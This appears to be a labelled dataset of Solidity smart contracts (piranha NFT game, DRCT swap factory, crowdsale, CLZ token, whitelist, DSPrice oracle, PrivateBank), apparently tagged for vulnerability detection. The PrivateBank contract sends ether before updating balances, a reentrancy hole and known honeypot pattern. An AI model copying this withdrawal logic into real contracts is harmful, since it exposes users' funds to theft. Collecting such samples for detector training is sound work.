size_res[piranhaId - _startPiranhaId] = uint8(piranha.size+(now-piranha.growthStartTime)/900);
prices_res[piranhaId - _startPiranhaId] = piranha.sellPrice;
}
return (owners_res, size_res, hungry_res, prices_res);
}
function totalSupply() public view returns (uint256 total) {
return piranhas.length;
}
function transfer(address _to, uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return piranhaIdToApproved[_tokenId] == _to;
}
function _createPiranha(string _name, address _owner, uint256 _price, uint8 _size, uint256 _gen, uint8 _unique) private {
Piranha memory _piranha = Piranha({
name: _name,
size: _size,
gen: _gen,
unique: _unique,
growthStartTime: now,
sellPrice: _price,
hungry: 0
});
uint256 newPiranhaId = piranhas.push(_piranha) - 1;
require(newPiranhaId == uint256(uint32(newPiranhaId)));
PiranhaCreated(newPiranhaId, _name, _owner);
_transfer(address(0), _owner, newPiranhaId);
}
function _owns(address _checkedAddr, uint256 _tokenId) private view returns (bool) {
return _checkedAddr == piranhaIdToOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
piranhaIdToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete piranhaIdToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,807 |
pragma solidity ^0.4.24;
contract CloneFactory {
address internal owner;
event CloneCreated(address indexed target, address clone);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public{
owner = msg.sender;
}
function setOwner(address _owner) public onlyOwner(){
owner = _owner;
}
function createClone(address target) internal returns (address result) {
bytes memory clone = hex"600034603b57603080600f833981f36000368180378080368173bebebebebebebebebebebebebebebebebebebebe5af43d82803e15602c573d90f35b3d90fd";
bytes20 targetBytes = bytes20(target);
for (uint i = 0; i < 20; i++) {
clone[26 + i] = targetBytes[i];
}
assembly {
let len := mload(clone)
let data := add(clone, 0x20)
result := create(0, data, len)
}
}
}
interface Factory_Interface {
function createToken(uint _supply, address _party, uint _start_date) external returns (address,address, uint);
function payToken(address _party, address _token_add) external;
function deployContract(uint _start_date) external payable returns (address);
function getBase() external view returns(address);
function getVariables() external view returns (address, uint, uint, address,uint);
function isWhitelisted(address _member) external view returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint a, uint b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library DRCTLibrary{
using SafeMath for uint256;
struct Balance {
address owner;
uint amount;
}
struct TokenStorage{
address factory_contract;
uint total_supply;
mapping(address => Balance[]) swap_balances;
mapping(address => mapping(address => uint)) swap_balances_index;
mapping(address => address[]) user_swaps;
mapping(address => mapping(address => uint)) user_swaps_index;
mapping(address => uint) user_total_balances;
mapping(address => mapping(address => uint)) allowed;
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event CreateToken(address _from, uint _value);
function startToken(TokenStorage storage self,address _factory) public {
self.factory_contract = _factory;
}
function isWhitelisted(TokenStorage storage self,address _member) internal view returns(bool){
Factory_Interface _factory = Factory_Interface(self.factory_contract);
return _factory.isWhitelisted(_member);
}
function getFactoryAddress(TokenStorage storage self) external view returns(address){
return self.factory_contract;
}
function createToken(TokenStorage storage self,uint _supply, address _owner, address _swap) public{
require(msg.sender == self.factory_contract);
self.total_supply = self.total_supply.add(_supply);
self.user_total_balances[_owner] = self.user_total_balances[_owner].add(_supply);
if (self.user_swaps[_owner].length == 0)
self.user_swaps[_owner].push(address(0x0));
self.user_swaps_index[_owner][_swap] = self.user_swaps[_owner].length;
self.user_swaps[_owner].push(_swap);
self.swap_balances[_swap].push(Balance({
owner: 0,
amount: 0
}));
self.swap_balances_index[_swap][_owner] = 1;
self.swap_balances[_swap].push(Balance({
owner: _owner,
amount: _supply
}));
emit CreateToken(_owner,_supply);
}
function pay(TokenStorage storage self,address _party, address _swap) public{
require(msg.sender == self.factory_contract);
uint party_balance_index = self.swap_balances_index[_swap][_party];
require(party_balance_index > 0);
uint party_swap_balance = self.swap_balances[_swap][party_balance_index].amount;
self.user_total_balances[_party] = self.user_total_balances[_party].sub(party_swap_balance);
self.total_supply = self.total_supply.sub(party_swap_balance);
self.swap_balances[_swap][party_balance_index].amount = 0;
}
function balanceOf(TokenStorage storage self,address _owner) public constant returns (uint balance) {
return self.user_total_balances[_owner];
}
function totalSupply(TokenStorage storage self) public constant returns (uint _total_supply) {
return self.total_supply;
}
function removeFromSwapBalances(TokenStorage storage self,address _remove, address _swap) internal {
uint last_address_index = self.swap_balances[_swap].length.sub(1);
address last_address = self.swap_balances[_swap][last_address_index].owner;
if (last_address != _remove) {
uint remove_index = self.swap_balances_index[_swap][_remove];
self.swap_balances_index[_swap][last_address] = remove_index;
self.swap_balances[_swap][remove_index] = self.swap_balances[_swap][last_address_index];
}
delete self.swap_balances_index[_swap][_remove];
self.swap_balances[_swap].length = self.swap_balances[_swap].length.sub(1);
}
function transferHelper(TokenStorage storage self,address _from, address _to, uint _amount) internal {
address[] memory from_swaps = self.user_swaps[_from];
for (uint i = from_swaps.length.sub(1); i > 0; i--) {
uint from_swap_user_index = self.swap_balances_index[from_swaps[i]][_from];
Balance memory from_user_bal = self.swap_balances[from_swaps[i]][from_swap_user_index];
if (_amount >= from_user_bal.amount) {
_amount -= from_user_bal.amount;
self.user_swaps[_from].length = self.user_swaps[_from].length.sub(1);
delete self.user_swaps_index[_from][from_swaps[i]];
if (self.user_swaps_index[_to][from_swaps[i]] != 0) {
uint to_balance_index = self.swap_balances_index[from_swaps[i]][_to];
assert(to_balance_index != 0);
self.swap_balances[from_swaps[i]][to_balance_index].amount = self.swap_balances[from_swaps[i]][to_balance_index].amount.add(from_user_bal.amount);
removeFromSwapBalances(self,_from, from_swaps[i]);
} else {
if (self.user_swaps[_to].length == 0){
self.user_swaps[_to].push(address(0x0));
}
self.user_swaps_index[_to][from_swaps[i]] = self.user_swaps[_to].length;
self.user_swaps[_to].push(from_swaps[i]);
self.swap_balances[from_swaps[i]][from_swap_user_index].owner = _to;
self.swap_balances_index[from_swaps[i]][_to] = self.swap_balances_index[from_swaps[i]][_from];
delete self.swap_balances_index[from_swaps[i]][_from];
}
if (_amount == 0)
break;
} else {
uint to_swap_balance_index = self.swap_balances_index[from_swaps[i]][_to];
if (self.user_swaps_index[_to][from_swaps[i]] != 0) {
self.swap_balances[from_swaps[i]][to_swap_balance_index].amount = self.swap_balances[from_swaps[i]][to_swap_balance_index].amount.add(_amount);
} else {
if (self.user_swaps[_to].length == 0){
self.user_swaps[_to].push(address(0x0));
}
self.user_swaps_index[_to][from_swaps[i]] = self.user_swaps[_to].length;
self.user_swaps[_to].push(from_swaps[i]);
self.swap_balances_index[from_swaps[i]][_to] = self.swap_balances[from_swaps[i]].length;
self.swap_balances[from_swaps[i]].push(Balance({
owner: _to,
amount: _amount
}));
}
self.swap_balances[from_swaps[i]][from_swap_user_index].amount = self.swap_balances[from_swaps[i]][from_swap_user_index].amount.sub(_amount);
break;
}
}
}
function transfer(TokenStorage storage self, address _to, uint _amount) public returns (bool) {
require(isWhitelisted(self,_to));
uint balance_owner = self.user_total_balances[msg.sender];
if (
_to == msg.sender ||
_to == address(0) ||
_amount == 0 ||
balance_owner < _amount
) return false;
transferHelper(self,msg.sender, _to, _amount);
self.user_total_balances[msg.sender] = self.user_total_balances[msg.sender].sub(_amount);
self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _amount) public returns (bool) {
require(isWhitelisted(self,_to));
uint balance_owner = self.user_total_balances[_from];
uint sender_allowed = self.allowed[_from][msg.sender];
if (
_to == _from ||
_to == address(0) ||
_amount == 0 ||
balance_owner < _amount ||
sender_allowed < _amount
) return false;
transferHelper(self,_from, _to, _amount);
self.user_total_balances[_from] = self.user_total_balances[_from].sub(_amount);
self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);
self.allowed[_from][msg.sender] = self.allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(TokenStorage storage self, address _spender, uint _amount) public returns (bool) {
self.allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function addressCount(TokenStorage storage self, address _swap) public constant returns (uint) {
return self.swap_balances[_swap].length;
}
function getBalanceAndHolderByIndex(TokenStorage storage self, uint _ind, address _swap) public constant returns (uint, address) {
return (self.swap_balances[_swap][_ind].amount, self.swap_balances[_swap][_ind].owner);
}
function getIndexByAddress(TokenStorage storage self, address _owner, address _swap) public constant returns (uint) {
return self.swap_balances_index[_swap][_owner];
}
function allowance(TokenStorage storage self, address _owner, address _spender) public constant returns (uint) {
return self.allowed[_owner][_spender];
}
}
contract DRCT_Token {
using DRCTLibrary for DRCTLibrary.TokenStorage;
DRCTLibrary.TokenStorage public drct;
constructor() public {
drct.startToken(msg.sender);
}
function createToken(uint _supply, address _owner, address _swap) public{
drct.createToken(_supply,_owner,_swap);
}
function getFactoryAddress() external view returns(address){
return drct.getFactoryAddress();
}
function pay(address _party, address _swap) public{
drct.pay(_party,_swap);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return drct.balanceOf(_owner);
}
function totalSupply() public constant returns (uint _total_supply) {
return drct.totalSupply();
}
function transfer(address _to, uint _amount) public returns (bool) {
return drct.transfer(_to,_amount);
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool) {
return drct.transferFrom(_from,_to,_amount);
}
function approve(address _spender, uint _amount) public returns (bool) {
return drct.approve(_spender,_amount);
}
function addressCount(address _swap) public constant returns (uint) {
return drct.addressCount(_swap);
}
function getBalanceAndHolderByIndex(uint _ind, address _swap) public constant returns (uint, address) {
return drct.getBalanceAndHolderByIndex(_ind,_swap);
}
function getIndexByAddress(address _owner, address _swap) public constant returns (uint) {
return drct.getIndexByAddress(_owner,_swap);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
return drct.allowance(_owner,_spender);
}
}
interface Deployer_Interface {
function newContract(address _party, address user_contract, uint _start_date) external payable returns (address);
}
interface Membership_Interface {
function getMembershipType(address _member) external constant returns(uint);
}
interface Wrapped_Ether_Interface {
function totalSupply() external constant returns (uint);
function balanceOf(address _owner) external constant returns (uint);
function transfer(address _to, uint _amount) external returns (bool);
function transferFrom(address _from, address _to, uint _amount) external returns (bool);
function approve(address _spender, uint _amount) external returns (bool);
function allowance(address _owner, address _spender) external constant returns (uint);
function withdraw(uint _value) external;
function createToken() external;
}
contract Factory {
using SafeMath for uint256;
address public owner;
address public oracle_address;
address public user_contract;
address internal deployer_address;
Deployer_Interface internal deployer;
address public token;
uint public fee;
uint public swapFee;
uint public duration;
uint public multiplier;
uint public token_ratio;
address[] public contracts;
uint[] public startDates;
address public memberContract;
uint whitelistedTypes;
mapping(address => uint) public created_contracts;
mapping(address => uint) public token_dates;
mapping(uint => address) public long_tokens;
mapping(uint => address) public short_tokens;
mapping(address => uint) public token_type;
event ContractCreation(address _sender, address _created);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor(uint _memberTypes) public {
owner = msg.sender;
whitelistedTypes=_memberTypes;
}
function init(address _owner, uint _memberTypes) public{
require(owner == address(0));
owner = _owner;
whitelistedTypes=_memberTypes;
}
function setMemberContract(address _memberContract) public onlyOwner() {
memberContract = _memberContract;
}
function isWhitelisted(address _member) public view returns (bool){
Membership_Interface Member = Membership_Interface(memberContract);
return Member.getMembershipType(_member)>= whitelistedTypes;
}
function getTokens(uint _date) public view returns(address, address){
return(long_tokens[_date],short_tokens[_date]);
}
function getTokenType(address _token) public view returns(uint){
return(token_type[_token]);
}
function setFee(uint _fee) public onlyOwner() {
fee = _fee;
}
function setSwapFee(uint _swapFee) public onlyOwner() {
swapFee = _swapFee;
}
function setDeployer(address _deployer) public onlyOwner() {
deployer_address = _deployer;
deployer = Deployer_Interface(_deployer);
}
function setUserContract(address _userContract) public onlyOwner() {
user_contract = _userContract;
}
function setVariables(uint _token_ratio, uint _duration, uint _multiplier, uint _swapFee) public onlyOwner() {
require(_swapFee < 10000);
token_ratio = _token_ratio;
duration = _duration;
multiplier = _multiplier;
swapFee = _swapFee;
}
function setBaseToken(address _token) public onlyOwner() {
token = _token;
}
function deployContract(uint _start_date) public payable returns (address) {
require(msg.value >= fee && isWhitelisted(msg.sender));
require(_start_date % 86400 == 0);
address new_contract = deployer.newContract(msg.sender, user_contract, _start_date);
contracts.push(new_contract);
created_contracts[new_contract] = _start_date;
emit ContractCreation(msg.sender,new_contract);
return new_contract;
}
function deployTokenContract(uint _start_date) public{
address _token;
require(_start_date % 86400 == 0);
require(long_tokens[_start_date] == address(0) && short_tokens[_start_date] == address(0));
_token = new DRCT_Token();
token_dates[_token] = _start_date;
long_tokens[_start_date] = _token;
token_type[_token]=2;
_token = new DRCT_Token();
token_type[_token]=1;
short_tokens[_start_date] = _token;
token_dates[_token] = _start_date;
startDates.push(_start_date);
}
function createToken(uint _supply, address _party, uint _start_date) public returns (address, address, uint) {
require(created_contracts[msg.sender] == _start_date);
address ltoken = long_tokens[_start_date];
address stoken = short_tokens[_start_date];
require(ltoken != address(0) && stoken != address(0));
DRCT_Token drct_interface = DRCT_Token(ltoken);
drct_interface.createToken(_supply.div(token_ratio), _party,msg.sender);
drct_interface = DRCT_Token(stoken);
drct_interface.createToken(_supply.div(token_ratio), _party,msg.sender);
return (ltoken, stoken, token_ratio);
}
function setOracleAddress(address _new_oracle_address) public onlyOwner() {
oracle_address = _new_oracle_address;
}
function setOwner(address _new_owner) public onlyOwner() {
owner = _new_owner;
}
function withdrawFees() public onlyOwner(){
Wrapped_Ether_Interface token_interface = Wrapped_Ether_Interface(token);
uint _val = token_interface.balanceOf(address(this));
if(_val > 0){
token_interface.withdraw(_val);
}
owner.transfer(address(this).balance);
}
function() public payable {
}
function getVariables() public view returns (address, uint, uint, address,uint){
return (oracle_address,duration, multiplier, token,swapFee);
}
function payToken(address _party, address _token_add) public {
require(created_contracts[msg.sender] > 0);
DRCT_Token drct_interface = DRCT_Token(_token_add);
drct_interface.pay(_party, msg.sender);
}
function getCount() public constant returns(uint) {
return contracts.length;
}
function getDateCount() public constant returns(uint) {
return startDates.length;
}
}
contract MasterDeployer is CloneFactory{
using SafeMath for uint256;
address[] factory_contracts;
address private factory;
mapping(address => uint) public factory_index;
event NewFactory(address _factory);
constructor() public {
factory_contracts.push(address(0));
}
function setFactory(address _factory) public onlyOwner(){
factory = _factory;
}
function deployFactory(uint _memberTypes) public onlyOwner() returns(address){
address _new_fac = createClone(factory);
factory_index[_new_fac] = factory_contracts.length;
factory_contracts.push(_new_fac);
Factory(_new_fac).init(msg.sender,_memberTypes);
emit NewFactory(_new_fac);
return _new_fac;
}
function removeFactory(address _factory) public onlyOwner(){
require(_factory != address(0) && factory_index[_factory] != 0);
uint256 fIndex = factory_index[_factory];
uint256 lastFactoryIndex = factory_contracts.length.sub(1);
address lastFactory = factory_contracts[lastFactoryIndex];
factory_contracts[fIndex] = lastFactory;
factory_index[lastFactory] = fIndex;
factory_contracts.length--;
factory_index[_factory] = 0;
}
function getFactoryCount() public constant returns(uint){
return factory_contracts.length - 1;
}
function getFactorybyIndex(uint _index) public constant returns(address){
return factory_contracts[_index];
}
} | 1 | 3,698 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
address public multisig;
ERC20 public token;
uint rate;
uint priceETH;
mapping (address => bool) whitelist;
event Purchased(address indexed _addr, uint _amount);
function getRateCentUsd() public view returns(uint) {
if (block.timestamp >= 1539550800 && block.timestamp < 1541019600) {
return(70);
}
if (block.timestamp >= 1541019600 && block.timestamp < 1545685200) {
return(100);
}
}
function setPriceETH(uint _newPriceETH) external onlyOwner {
setRate(_newPriceETH);
}
function setRate(uint _priceETH) internal {
require(_priceETH != 0);
priceETH = _priceETH;
rate = getRateCentUsd().mul(1 ether).div(100).div(_priceETH);
}
function addToWhitelist(address _newMember) external onlyOwner {
require(_newMember != address(0));
whitelist[_newMember] = true;
}
function removeFromWhitelist(address _member) external onlyOwner {
require(_member != address(0));
whitelist[_member] = false;
}
function addListToWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
}
}
function removeListFromWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
whitelist[_addresses[i]] = false;
}
}
function getPriceETH() public view returns(uint) {
return priceETH;
}
constructor(address _DNT, address _multisig, uint _priceETH) public {
require(_DNT != 0 && _priceETH != 0);
token = ERC20(_DNT);
multisig = _multisig;
setRate(_priceETH);
}
function() external payable {
buyTokens();
}
function buyTokens() public payable {
require(whitelist[msg.sender]);
require(block.timestamp >= 1539550800 && block.timestamp < 1545685200);
require(msg.value >= 1 ether * 100 / priceETH);
uint256 amount = msg.value.div(rate);
uint256 balance = token.balanceOf(this);
if (amount > balance) {
uint256 cash = balance.mul(rate);
uint256 cashBack = msg.value.sub(cash);
multisig.transfer(cash);
msg.sender.transfer(cashBack);
token.transfer(msg.sender, balance);
emit Purchased(msg.sender, balance);
return;
}
multisig.transfer(msg.value);
token.transfer(msg.sender, amount);
emit Purchased(msg.sender, amount);
}
function finalizeICO(address _owner) external onlyOwner {
require(_owner != address(0));
uint balance = token.balanceOf(this);
token.transfer(_owner, balance);
}
function getMyBalanceDNT() external view returns(uint256) {
return token.balanceOf(msg.sender);
}
} | 0 | 1,411 |
pragma solidity ^0.4.19;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract FixedSupplyToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function FixedSupplyToken() public {
symbol = "CLZ";
name = "CASINOLIZE";
decimals = 8;
_totalSupply = 21000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,483 |
pragma solidity ^ 0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WhiteList is Ownable {
mapping(address => bool) public whiteList;
uint public totalWhiteListed;
event LogWhiteListed(address indexed user, uint whiteListedNum);
event LogWhiteListedMultiple(uint whiteListedNum);
event LogRemoveWhiteListed(address indexed user);
function isWhiteListed(address _user) external view returns (bool) {
return whiteList[_user];
}
function removeFromWhiteList(address _user) external onlyOwner() returns (bool) {
require(whiteList[_user] == true);
whiteList[_user] = false;
totalWhiteListed--;
LogRemoveWhiteListed(_user);
return true;
}
function addToWhiteList(address _user) external onlyOwner() returns (bool) {
if (whiteList[_user] != true) {
whiteList[_user] = true;
totalWhiteListed++;
LogWhiteListed(_user, totalWhiteListed);
}
return true;
}
function addToWhiteListMultiple(address[] _users) external onlyOwner() returns (bool) {
for (uint i = 0; i < _users.length; ++i) {
if (whiteList[_users[i]] != true) {
whiteList[_users[i]] = true;
totalWhiteListed++;
}
}
LogWhiteListedMultiple(totalWhiteListed);
return true;
}
} | 1 | 4,081 |
pragma solidity ^0.4.15;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) constant returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
assert(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSMath {
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x * y;
assert(x == 0 || z / x == y);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x * y;
assert(x == 0 || z / x == y);
}
function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) constant internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) constant internal returns (int256 z) {
return x >= y ? x : y;
}
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) constant internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract DSThing is DSAuth, DSNote, DSMath {
}
contract DSPrice is DSThing {
uint128 public val;
uint32 public zzz;
function peek()
constant
returns (bytes32,bool)
{
return (bytes32(val), now < zzz);
}
function read()
constant
returns (bytes32)
{
assert(now < zzz);
return bytes32(val);
}
function post(uint128 val_, uint32 zzz_, address med_)
note
auth
{
val = val_;
zzz = zzz_;
med_.call(bytes4(sha3("poke()")));
}
function void()
note
auth
{
zzz = 0;
}
} | 1 | 3,052 |
pragma solidity ^0.4.18;
contract PrivateBank
{
mapping (address => uint) balances;
function GetBal()
public
constant
returns(uint)
{
return balances[msg.sender];
}
uint public MinDeposit = 1 ether;
Log TransferLog;
function PrivateBank(address _lib)
{
TransferLog = Log(_lib);
}
function Deposit()
public
payable
{
if(msg.value >= MinDeposit)
{
balances[msg.sender]+=msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am)
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
function bal()
public
constant
returns(uint)
{
return this.balance;
}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message public LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
} | 1 | 3,998 |
pragma solidity ^0.4.24;
interface ConflictResolutionInterface {
